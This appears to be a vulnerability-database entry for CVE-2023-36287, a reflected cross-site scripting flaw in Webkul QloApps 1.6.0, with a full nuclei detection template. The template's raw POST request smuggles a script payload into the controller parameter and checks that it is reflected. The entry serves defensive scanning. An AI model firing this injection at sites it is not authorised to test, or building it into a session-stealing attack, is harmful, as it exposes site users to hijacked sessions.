HexBrain

Browse / CVEs / CVE-2023-36287

CVE-2023-36287· webkul / qloapps· CWE-79

Webkul QloApps 1.6.0 - Cross-site Scripting

mediumseverity
6.1CVSS score
1.2%likelihood of exploitation, next 30 days
69%of all CVEs are less likely
Readycheck to confirm it

An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a user's session cookie and then impersonate that user via POST controller parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

To remediate this issue, it is recommended to apply the latest security patches or updates provided by the vendor.

How to confirm it

Send: POST /
Positive when: contains "'change-currency9405'-alert(document.domain)-'';" and "customizationIdMessage" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-36287 -u <target>

The full check
id: CVE-2023-36287

info:
  name: Webkul QloApps 1.6.0 - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a user's session cookie and then impersonate that user via POST controller parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/webkul/hotelcommerce
    - https://flashy-lemonade-192.notion.site/Cross-site-scripting-via-controller-parameter-in-QloApps-1-6-0-97e409ce164f40d195b625b9bf719900
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36287
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-36287
    cwe-id: CWE-79
    epss-score: 0.01199
    epss-percentile: 0.68398
    cpe: cpe:2.3:a:webkul:qloapps:1.6.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: webkul
    product: qloapps
    fofa-query: title="qloapps"
  tags: cve2023,cve,xss,webkul-qloapps,unauth,webkul,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        controller=change-currency9405'-alert(document.domain)-'&id_currency=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'change-currency9405'-alert(document.domain)-'';"
          - "customizationIdMessage"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from